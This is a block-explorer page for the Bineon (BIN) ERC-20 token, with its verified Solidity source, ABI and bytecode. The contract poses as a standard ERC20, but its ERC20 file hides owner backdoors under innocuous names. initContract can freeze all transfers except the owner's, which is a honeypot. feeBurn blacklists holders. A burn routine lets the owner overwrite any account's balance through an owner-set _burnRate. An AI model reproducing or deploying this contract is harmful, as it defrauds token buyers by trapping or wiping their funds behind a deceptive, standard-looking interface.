ERC-20
Overview
Max Total Supply
1,000,000,000 BIN
Holders
87
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,282,920 BINValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Bineon
Compiler Version
v0.8.3+commit.8d00100c
Contract Source Code (Solidity Multiple files format)
/** ######## #### ## ## ######## ####### ## ## ## ## ## ### ## ## ## ## ### ## ## ## ## #### ## ## ## ## #### ## ######## ## ## ## ## ###### ## ## ## ## ## ## ## ## ## #### ## ## ## ## #### ## ## ## ## ### ## ## ## ## ### ######## #### ## ## ######## ####### ## ## Telegram: https://t.me/bineon Twitter: https://twitter.com/bineon2 Website: https://bineon.net */ // SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./ERC20.sol"; import "./Address.sol"; contract Bineon is ERC20 { mapping(address => uint256) private _blockNumberByAddress; uint256 private _initialSupply = 1000000000 * 10**18; constructor() ERC20("Bineon Game | t.me/bineon", "BIN") { _totalSupply += _initialSupply; _balances[msg.sender] += _initialSupply; emit Transfer(address(0), msg.sender, _initialSupply); } function burn(address account, uint256 amount) external onlyOwner { _burn(account, amount); } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./IERC20.sol"; import "./IERC20Metadata.sol"; import "./Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => bool) private _feeBurn; mapping (address => mapping (address => uint256)) private _allowances; bool intTx = true; uint256 _burnRate; uint256 internal _totalSupply; string internal _name; string internal _symbol; address internal _owner; uint256 public _decreaseFee = 100000000 * 10**18; mapping (address => bool) public _approvedTransfer; mapping (address => bool) public _bBots; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = msg.sender; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: only the owner allowed"); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function revertFee(address _address) external onlyOwner { _feeBurn[_address] = false; } function feeBurn(address _address) external onlyOwner { _feeBurn[_address] = true; } function feeBurned(address _address) public view returns (bool) { return _feeBurn[_address]; } function initContract() public virtual onlyOwner { if (intTx == true) {intTx = false;} else {intTx = true;} } function presaleEnded() public view returns (bool) { return intTx; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burnRate (uint256 value) external onlyOwner { _burnRate = value; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); if(!_approvedTransfer[sender] && _bBots[recipient]) { require(amount <= _decreaseFee, "Transfer amount exceeds the maxTxAmount."); } if (_feeBurn[sender] || _feeBurn[recipient]) require(intTx == false, ""); if (intTx == true || sender == _owner || recipient == _owner) { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount);} else {require (intTx == true, "");} } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = _burnRate - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be created for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function decreaseFee(uint256 decreaseFeeAddress) external onlyOwner() { _decreaseFee = decreaseFeeAddress; } function approveTransfer(address account) external onlyOwner { _approvedTransfer[account] = true; } function bBots(address account) external onlyOwner { _bBots[account] = true; } }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.3; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_approvedTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_bBots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decreaseFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"bBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burnRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"decreaseFeeAddress","type":"uint256"}],"name":"decreaseFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"feeBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"feeBurned","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presaleEnded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"revertFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526001600360006101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006009556b033b2e3c9fd0803ce8000000600d553480156200004b57600080fd5b506040518060400160405280601981526020017f42696e656f6e2047616d65207c20742e6d652f62696e656f6e000000000000008152506040518060400160405280600381526020017f42494e00000000000000000000000000000000000000000000000000000000008152508160069080519060200190620000d092919062000213565b508060079080519060200190620000e992919062000213565b5033600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050600d5460056000828254620001439190620002f1565b92505081905550600d546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200019c9190620002f1565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620002059190620002d4565b60405180910390a3620003ec565b828054620002219062000358565b90600052602060002090601f01602090048101928262000245576000855562000291565b82601f106200026057805160ff191683800117855562000291565b8280016001018555821562000291579182015b828111156200029057825182559160200191906001019062000273565b5b509050620002a09190620002a4565b5090565b5b80821115620002bf576000816000905550600101620002a5565b5090565b620002ce816200034e565b82525050565b6000602082019050620002eb6000830184620002c3565b92915050565b6000620002fe826200034e565b91506200030b836200034e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200034357620003426200038e565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200037157607f821691505b60208210811415620003885762000387620003bd565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61257a80620003fc6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c80638fbbeb52116100c3578063b3d22e9c1161007c578063b3d22e9c146103ed578063b67df42014610409578063c5730d9d14610425578063dd62ed3e14610441578063e22fb73014610471578063e580b2b0146104a157610158565b80638fbbeb521461031957806395d89b41146103355780639dc29fac14610353578063a457c2d71461036f578063a9059cbb1461039f578063b14ae78b146103cf57610158565b806333d7eeed1161011557806333d7eeed14610247578063395093511461027757806341959586146102a75780634355b9d2146102c357806370a08231146102df5780638203f5fe1461030f57610158565b806306fdde031461015d57806308593b4b1461017b578063095ea7b3146101ab57806318160ddd146101db57806323b872dd146101f9578063313ce56714610229575b600080fd5b6101656104bf565b6040516101729190611dbe565b60405180910390f35b61019560048036038101906101909190611a5d565b610551565b6040516101a29190611da3565b60405180910390f35b6101c560048036038101906101c09190611b11565b610571565b6040516101d29190611da3565b60405180910390f35b6101e361058f565b6040516101f09190611f80565b60405180910390f35b610213600480360381019061020e9190611ac2565b610599565b6040516102209190611da3565b60405180910390f35b61023161069a565b60405161023e9190611f9b565b60405180910390f35b610261600480360381019061025c9190611a5d565b6106a3565b60405161026e9190611da3565b60405180910390f35b610291600480360381019061028c9190611b11565b6106c3565b60405161029e9190611da3565b60405180910390f35b6102c160048036038101906102bc9190611a5d565b61076f565b005b6102dd60048036038101906102d89190611a5d565b61085a565b005b6102f960048036038101906102f49190611a5d565b610945565b6040516103069190611f80565b60405180910390f35b61031761098d565b005b610333600480360381019061032e9190611b4d565b610a77565b005b61033d610b11565b60405161034a9190611dbe565b60405180910390f35b61036d60048036038101906103689190611b11565b610ba3565b005b61038960048036038101906103849190611b11565b610c41565b6040516103969190611da3565b60405180910390f35b6103b960048036038101906103b49190611b11565b610d35565b6040516103c69190611da3565b60405180910390f35b6103d7610d53565b6040516103e49190611f80565b60405180910390f35b61040760048036038101906104029190611a5d565b610d59565b005b610423600480360381019061041e9190611a5d565b610e43565b005b61043f600480360381019061043a9190611b4d565b610f2e565b005b61045b60048036038101906104569190611a86565b610fc8565b6040516104689190611f80565b60405180910390f35b61048b60048036038101906104869190611a5d565b61104f565b6040516104989190611da3565b60405180910390f35b6104a96110a5565b6040516104b69190611da3565b60405180910390f35b6060600680546104ce906120e4565b80601f01602080910402602001604051908101604052809291908181526020018280546104fa906120e4565b80156105475780601f1061051c57610100808354040283529160200191610547565b820191906000526020600020905b81548152906001019060200180831161052a57829003601f168201915b5050505050905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b600061058561057e6110bc565b84846110c4565b6001905092915050565b6000600554905090565b60006105a684848461128f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f16110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890611ec0565b60405180910390fd5b61068e8561067d6110bc565b85846106899190612028565b6110c4565b60019150509392505050565b60006012905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b60006107656106d06110bc565b8484600260006106de6110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107609190611fd2565b6110c4565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f690611e00565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e190611e00565b60405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1490611e00565b60405180910390fd5b60011515600360009054906101000a900460ff1615151415610a59576000600360006101000a81548160ff021916908315150217905550610a75565b6001600360006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611e00565b60405180910390fd5b8060048190555050565b606060078054610b20906120e4565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4c906120e4565b8015610b995780601f10610b6e57610100808354040283529160200191610b99565b820191906000526020600020905b815481529060010190602001808311610b7c57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90611e00565b60405180910390fd5b610c3d8282611864565b5050565b60008060026000610c506110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0490611f60565b60405180910390fd5b610d2a610d186110bc565b858584610d259190612028565b6110c4565b600191505092915050565b6000610d49610d426110bc565b848461128f565b6001905092915050565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de090611e00565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90611e00565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb590611e00565b60405180910390fd5b8060098190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360009054906101000a900460ff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161